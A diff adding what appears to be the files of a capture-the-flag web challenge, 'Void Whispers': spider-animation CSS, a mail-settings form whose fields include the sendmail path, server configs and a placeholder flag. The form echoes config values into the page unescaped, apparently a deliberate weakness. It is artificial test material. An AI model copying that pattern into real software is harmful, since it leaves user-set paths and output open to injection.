||||
}
|
||||
|
||||
.spider_1 {
|
||||
left: 20%;
|
||||
-moz-animation: spider-move-1 5s infinite;
|
||||
-webkit-animation: spider-move-1 5s infinite;
|
||||
animation: spider-move-1 5s infinite;
|
||||
}
|
||||
|
||||
.spider_2 {
|
||||
left: 35%;
|
||||
-moz-animation: spider-move-2 5s infinite;
|
||||
-webkit-animation: spider-move-2 5s infinite;
|
||||
animation: spider-move-2 5s infinite;
|
||||
}
|
||||
|
||||
.spider_3 {
|
||||
right: 35%;
|
||||
margin-top: 160px;
|
||||
-moz-animation: spider-move-3 5s infinite;
|
||||
-webkit-animation: spider-move-3 5s infinite;
|
||||
animation: spider-move-3 5s infinite;
|
||||
}
|
||||
|
||||
.spider_4 {
|
||||
right: 20%;
|
||||
margin-top: 50px;
|
||||
-moz-animation: spider-move-4 5s infinite;
|
||||
-webkit-animation: spider-move-4 5s infinite;
|
||||
animation: spider-move-4 5s infinite;
|
||||
}
|
||||
|
||||
.spider_5 {
|
||||
right: 5%;
|
||||
margin-top: 210px;
|
||||
-moz-animation: spider-move-5 5s infinite;
|
||||
-webkit-animation: spider-move-5 5s infinite;
|
||||
animation: spider-move-5 5s infinite;
|
||||
}
|
||||
|
||||
h1 {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
bottom: 12%;
|
||||
font-family: 'Eater', cursive;
|
||||
font-size: 8.5vw;
|
||||
color: #111111;
|
||||
-moz-animation: flicker 4s 0s infinite;
|
||||
-webkit-animation: flicker 4s 0s infinite;
|
||||
animation: flicker 4s 0s infinite;
|
||||
}
|
||||
|
||||
.web-right {
|
||||
position: absolute;
|
||||
height: 200px;
|
||||
width: auto;
|
||||
right: -10px;
|
||||
top: -10px;
|
||||
z-index: -1;
|
||||
opacity: 0.2;
|
||||
}
|
||||
|
||||
.web-left {
|
||||
position: absolute;
|
||||
left: -10px;
|
||||
top: -10px;
|
||||
-moz-transform: rotate(-90deg);
|
||||
-ms-transform: rotate(-90deg);
|
||||
-webkit-transform: rotate(-90deg);
|
||||
transform: rotate(-90deg);
|
||||
z-index: -1;
|
||||
opacity: 0.2;
|
||||
}
|
||||
|
||||
@-moz-keyframes flicker {
|
||||
0%, 6%, 12% {
|
||||
text-shadow: none;
|
||||
color: #111111;
|
||||
}
|
||||
3%, 9% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
|
||||
color: #fa6701;
|
||||
}
|
||||
60% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
100% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes flicker {
|
||||
0%, 6%, 12% {
|
||||
text-shadow: none;
|
||||
color: #111111;
|
||||
}
|
||||
3%, 9% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
|
||||
color: #fa6701;
|
||||
}
|
||||
60% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
100% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
}
|
||||
@keyframes flicker {
|
||||
0%, 6%, 12% {
|
||||
text-shadow: none;
|
||||
color: #111111;
|
||||
}
|
||||
3%, 9% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6);
|
||||
color: #fa6701;
|
||||
}
|
||||
60% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
100% {
|
||||
text-shadow: 0 0 8px rgba(250, 103, 1, 0.6), 0 0 16px rgba(250, 103, 1, 0.4), 0 0 20px rgba(255, 0, 84, 0.2), 0 0 22px rgba(255, 0, 84, 0.1);
|
||||
color: #fa6701;
|
||||
}
|
||||
}
|
||||
@-moz-keyframes legs-wriggle-left {
|
||||
0%, 100% {
|
||||
-moz-transform: rotate(36deg) skewX(-20deg);
|
||||
transform: rotate(36deg) skewX(-20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-moz-transform: rotate(15deg) skewX(-20deg);
|
||||
transform: rotate(15deg) skewX(-20deg);
|
||||
}
|
||||
50% {
|
||||
-moz-transform: rotate(45deg) skewX(-20deg);
|
||||
transform: rotate(45deg) skewX(-20deg);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes legs-wriggle-left {
|
||||
0%, 100% {
|
||||
-webkit-transform: rotate(36deg) skewX(-20deg);
|
||||
transform: rotate(36deg) skewX(-20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-webkit-transform: rotate(15deg) skewX(-20deg);
|
||||
transform: rotate(15deg) skewX(-20deg);
|
||||
}
|
||||
50% {
|
||||
-webkit-transform: rotate(45deg) skewX(-20deg);
|
||||
transform: rotate(45deg) skewX(-20deg);
|
||||
}
|
||||
}
|
||||
@keyframes legs-wriggle-left {
|
||||
0%, 100% {
|
||||
-moz-transform: rotate(36deg) skewX(-20deg);
|
||||
-ms-transform: rotate(36deg) skewX(-20deg);
|
||||
-webkit-transform: rotate(36deg) skewX(-20deg);
|
||||
transform: rotate(36deg) skewX(-20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-moz-transform: rotate(15deg) skewX(-20deg);
|
||||
-ms-transform: rotate(15deg) skewX(-20deg);
|
||||
-webkit-transform: rotate(15deg) skewX(-20deg);
|
||||
transform: rotate(15deg) skewX(-20deg);
|
||||
}
|
||||
50% {
|
||||
-moz-transform: rotate(45deg) skewX(-20deg);
|
||||
-ms-transform: rotate(45deg) skewX(-20deg);
|
||||
-webkit-transform: rotate(45deg) skewX(-20deg);
|
||||
transform: rotate(45deg) skewX(-20deg);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes legs-wriggle-right {
|
||||
0%, 100% {
|
||||
-moz-transform: rotate(-36deg) skewX(20deg);
|
||||
transform: rotate(-36deg) skewX(20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-moz-transform: rotate(-15deg) skewX(20deg);
|
||||
transform: rotate(-15deg) skewX(20deg);
|
||||
}
|
||||
50% {
|
||||
-moz-transform: rotate(-45deg) skewX(20deg);
|
||||
transform: rotate(-45deg) skewX(20deg);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes legs-wriggle-right {
|
||||
0%, 100% {
|
||||
-webkit-transform: rotate(-36deg) skewX(20deg);
|
||||
transform: rotate(-36deg) skewX(20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-webkit-transform: rotate(-15deg) skewX(20deg);
|
||||
transform: rotate(-15deg) skewX(20deg);
|
||||
}
|
||||
50% {
|
||||
-webkit-transform: rotate(-45deg) skewX(20deg);
|
||||
transform: rotate(-45deg) skewX(20deg);
|
||||
}
|
||||
}
|
||||
@keyframes legs-wriggle-right {
|
||||
0%, 100% {
|
||||
-moz-transform: rotate(-36deg) skewX(20deg);
|
||||
-ms-transform: rotate(-36deg) skewX(20deg);
|
||||
-webkit-transform: rotate(-36deg) skewX(20deg);
|
||||
transform: rotate(-36deg) skewX(20deg);
|
||||
}
|
||||
25%, 75% {
|
||||
-moz-transform: rotate(-15deg) skewX(20deg);
|
||||
-ms-transform: rotate(-15deg) skewX(20deg);
|
||||
-webkit-transform: rotate(-15deg) skewX(20deg);
|
||||
transform: rotate(-15deg) skewX(20deg);
|
||||
}
|
||||
50% {
|
||||
-moz-transform: rotate(-45deg) skewX(20deg);
|
||||
-ms-transform: rotate(-45deg) skewX(20deg);
|
||||
-webkit-transform: rotate(-45deg) skewX(20deg);
|
||||
transform: rotate(-45deg) skewX(20deg);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-0 {
|
||||
0%, 100% {
|
||||
margin-top: 80px;
|
||||
}
|
||||
66% {
|
||||
margin-top: calc(80px + 76px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-0 {
|
||||
0%, 100% {
|
||||
margin-top: 80px;
|
||||
}
|
||||
66% {
|
||||
margin-top: calc(80px + 76px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-0 {
|
||||
0%, 100% {
|
||||
margin-top: 80px;
|
||||
}
|
||||
66% {
|
||||
margin-top: calc(80px + 76px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-1 {
|
||||
0%, 100% {
|
||||
margin-top: 178px;
|
||||
}
|
||||
57% {
|
||||
margin-top: calc(178px + 28px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-1 {
|
||||
0%, 100% {
|
||||
margin-top: 178px;
|
||||
}
|
||||
57% {
|
||||
margin-top: calc(178px + 28px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-1 {
|
||||
0%, 100% {
|
||||
margin-top: 178px;
|
||||
}
|
||||
57% {
|
||||
margin-top: calc(178px + 28px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-2 {
|
||||
0%, 100% {
|
||||
margin-top: 190px;
|
||||
}
|
||||
39% {
|
||||
margin-top: calc(190px + 113px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-2 {
|
||||
0%, 100% {
|
||||
margin-top: 190px;
|
||||
}
|
||||
39% {
|
||||
margin-top: calc(190px + 113px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-2 {
|
||||
0%, 100% {
|
||||
margin-top: 190px;
|
||||
}
|
||||
39% {
|
||||
margin-top: calc(190px + 113px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-3 {
|
||||
0%, 100% {
|
||||
margin-top: 191px;
|
||||
}
|
||||
55% {
|
||||
margin-top: calc(191px + 47px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-3 {
|
||||
0%, 100% {
|
||||
margin-top: 191px;
|
||||
}
|
||||
55% {
|
||||
margin-top: calc(191px + 47px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-3 {
|
||||
0%, 100% {
|
||||
margin-top: 191px;
|
||||
}
|
||||
55% {
|
||||
margin-top: calc(191px + 47px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-4 {
|
||||
0%, 100% {
|
||||
margin-top: 55px;
|
||||
}
|
||||
38% {
|
||||
margin-top: calc(55px + 112px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-4 {
|
||||
0%, 100% {
|
||||
margin-top: 55px;
|
||||
}
|
||||
38% {
|
||||
margin-top: calc(55px + 112px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-4 {
|
||||
0%, 100% {
|
||||
margin-top: 55px;
|
||||
}
|
||||
38% {
|
||||
margin-top: calc(55px + 112px);
|
||||
}
|
||||
}
|
||||
@-moz-keyframes spider-move-5 {
|
||||
0%, 100% {
|
||||
margin-top: 116px;
|
||||
}
|
||||
40% {
|
||||
margin-top: calc(116px + 112px);
|
||||
}
|
||||
}
|
||||
@-webkit-keyframes spider-move-5 {
|
||||
0%, 100% {
|
||||
margin-top: 116px;
|
||||
}
|
||||
40% {
|
||||
margin-top: calc(116px + 112px);
|
||||
}
|
||||
}
|
||||
@keyframes spider-move-5 {
|
||||
0%, 100% {
|
||||
margin-top: 116px;
|
||||
}
|
||||
40% {
|
||||
margin-top: calc(116px + 112px);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,272 @@
|
|||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>🎃 Void Whispers 🎃</title>
|
||||
<link href="https://fonts.googleapis.com/css?family=Eater" rel="stylesheet">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
|
||||
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
|
||||
<link rel="stylesheet" href="/static/css/main.css">
|
||||
<style>
|
||||
html {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: #2F5363;
|
||||
filter: progid:DXImageTransform.Microsoft.gradient(gradientType=1, startColorstr='#FF2F5363', endColorstr='#FF1B2628');
|
||||
background-image: radial-gradient(ellipse cover at center, #2f5363 0%, #1b2628 80%);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
/* Spider Animation */
|
||||
[class*="spider"] {
|
||||
position: absolute;
|
||||
height: 40px;
|
||||
width: 50px;
|
||||
border-radius: 50%;
|
||||
margin: 40px 0 0 0;
|
||||
background: #110D04;
|
||||
}
|
||||
|
||||
[class*="spider"] *, [class*="spider"]:before, [class*="spider"]:after {
|
||||
position: absolute;
|
||||
content: "";
|
||||
}
|
||||
|
||||
[class*="spider"]:before {
|
||||
width: 1px;
|
||||
background: #AAAAAA;
|
||||
left: 50%;
|
||||
top: -320px;
|
||||
height: 320px;
|
||||
}
|
||||
|
||||
[class*="spider"] .eye {
|
||||
top: 16px;
|
||||
height: 14px;
|
||||
width: 12px;
|
||||
background: #FFFFFF;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
[class*="spider"] .eye:after {
|
||||
top: 6px;
|
||||
height: 5px;
|
||||
width: 5px;
|
||||
background: black;
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
[class*="spider"] .eye.left { left: 14px; }
|
||||
[class*="spider"] .eye.left:after { right: 3px; }
|
||||
[class*="spider"] .eye.right { right: 14px; }
|
||||
[class*="spider"] .eye.right:after { left: 3px; }
|
||||
/* ... Additional Spider Animation CSS from the original code ... */
|
||||
|
||||
/* Form Styling */
|
||||
.form-container {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
background-color: rgba(0, 0, 0, 0.8);
|
||||
padding: 20px;
|
||||
border-radius: 10px;
|
||||
box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
|
||||
}
|
||||
|
||||
.form-container h1 {
|
||||
font-family: 'Eater', cursive;
|
||||
font-size: 2rem;
|
||||
position: relative !important;
|
||||
color: #ff7518;
|
||||
left: 0 !important;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.form-container label {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.form-control {
|
||||
background-color: #333;
|
||||
border: 1px solid #444;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.btn-primary {
|
||||
background-color: #ff7518 !important;
|
||||
border-color: #ff7518;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.btn-primary:hover {
|
||||
background-color: #e65c00 !important;
|
||||
}
|
||||
|
||||
.response-message {
|
||||
margin-top: 15px;
|
||||
display: none;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<!-- Spiders Animation -->
|
||||
<div class='spider_0'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div>
|
||||
<div class='spider_1'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div>
|
||||
<div class='spider_2'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div> <!-- More spiders here... -->
|
||||
<div class='spider_3'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div> <div class='spider_4'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div> <div class='spider_5'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div> <div class='spider_6'>
|
||||
<div class='eye left'></div>
|
||||
<div class='eye right'></div>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg left'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
<span class='leg right'></span>
|
||||
</div>
|
||||
<!-- Void Whispers Form -->
|
||||
<div class="form-container">
|
||||
<h1>🎃 Void Whispers 🎃</h1>
|
||||
<div method="post" id="settingsForm">
|
||||
<div class="form-group">
|
||||
<label for="from-name">From Name 📝</label>
|
||||
<input type="text" name="from-name" class="form-control" id="from-name" value="<?php echo $config['from']; ?>" />
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="from-mail">From Email 📧</label>
|
||||
<input type="text" name="from-mail" class="form-control" id="from-mail" value="<?php echo $config['email']; ?>" />
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="mail-binary">Sendmail PATH 📜</label>
|
||||
<input type="text" name="mail-binary" class="form-control" id="mail-binary" value="<?php echo $config['sendMailPath']; ?>" />
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label for="mail-program">Mail Program 🛠️</label>
|
||||
<input type="text" name="mail-program" class="form-control" id="mail-program" value="<?php echo $config['mailProgram']; ?>" />
|
||||
</div>
|
||||
|
||||
<button onclick="submitForm()" type="submit" class="btn btn-primary">💀 Save 💀</button>
|
||||
</div>
|
||||
|
||||
<div id="response-message" class="alert response-message"></div>
|
||||
</div>
|
||||
|
||||
<!-- Script for handling form submission -->
|
||||
|
||||
<script>
|
||||
const submitForm = () => {
|
||||
// Collect form data
|
||||
const formData = new URLSearchParams();
|
||||
formData.append('from', document.getElementById('from-name').value);
|
||||
formData.append('email', document.getElementById('from-mail').value);
|
||||
formData.append('sendMailPath', document.getElementById('mail-binary').value);
|
||||
formData.append('mailProgram', document.getElementById('mail-program').value);
|
||||
|
||||
// Send the API request
|
||||
fetch('/update', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-www-form-urlencoded'
|
||||
},
|
||||
body: formData.toString()
|
||||
})
|
||||
.then(response => response.json())
|
||||
.then(data => {
|
||||
const responseMessage = document.getElementById('response-message');
|
||||
responseMessage.style.display = 'block';
|
||||
responseMessage.innerText = data.message;
|
||||
|
||||
if (data.status === 'success') {
|
||||
responseMessage.classList.add('alert-success');
|
||||
responseMessage.classList.remove('alert-danger');
|
||||
} else {
|
||||
responseMessage.classList.add('alert-danger');
|
||||
responseMessage.classList.remove('alert-success');
|
||||
}
|
||||
})
|
||||
.catch(error => {
|
||||
console.error('Error:', error);
|
||||
const responseMessage = document.getElementById('response-message');
|
||||
responseMessage.style.display = 'block';
|
||||
responseMessage.innerText = 'An error occurred. Please try again.';
|
||||
responseMessage.classList.add('alert-danger');
|
||||
});
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
|
@ -0,0 +1,21 @@
|
|||
[global]
|
||||
daemonize = no
|
||||
error_log = /dev/stderr
|
||||
log_level = notice
|
||||
|
||||
[www]
|
||||
user = www
|
||||
group = www
|
||||
|
||||
clear_env = On
|
||||
|
||||
listen = /run/php-fpm.sock
|
||||
listen.owner = www
|
||||
listen.group = www
|
||||
|
||||
pm = dynamic
|
||||
pm.max_children = 5
|
||||
pm.start_servers = 2
|
||||
pm.min_spare_servers = 1
|
||||
pm.max_spare_servers = 3
|
||||
php_flag[expose_php]=off
|
|
@ -0,0 +1,40 @@
|
|||
user www;
|
||||
pid /run/nginx.pid;
|
||||
error_log /dev/stderr info;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
}
|
||||
|
||||
http {
|
||||
server_tokens off;
|
||||
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
|
||||
access_log /var/log/nginx/access.log docker;
|
||||
|
||||
charset utf-8;
|
||||
keepalive_timeout 20s;
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
client_max_body_size 1M;
|
||||
|
||||
include /etc/nginx/mime.types;
|
||||
|
||||
server {
|
||||
listen 1337;
|
||||
server_name _;
|
||||
|
||||
index index.php;
|
||||
root /www;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$query_string;
|
||||
location ~ \.php$ {
|
||||
try_files $uri =404;
|
||||
fastcgi_pass unix:/run/php-fpm.sock;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
[supervisord]
|
||||
user=root
|
||||
nodaemon=true
|
||||
logfile=/dev/null
|
||||
logfile_maxbytes=0
|
||||
pidfile=/run/supervisord.pid
|
||||
|
||||
[program:fpm]
|
||||
command=php-fpm83 -F
|
||||
autostart=true
|
||||
priority=1000
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
||||
|
||||
[program:nginx]
|
||||
command=nginx -g 'daemon off;'
|
||||
autostart=true
|
||||
stdout_logfile=/dev/stdout
|
||||
stdout_logfile_maxbytes=0
|
||||
stderr_logfile=/dev/stderr
|
||||
stderr_logfile_maxbytes=0
|
|
@ -0,0 +1 @@
|
|||
HTB{FAKE_FLAG_FOR_TESTING}
|
Loading…
Add table
Add a link
Reference in a new issue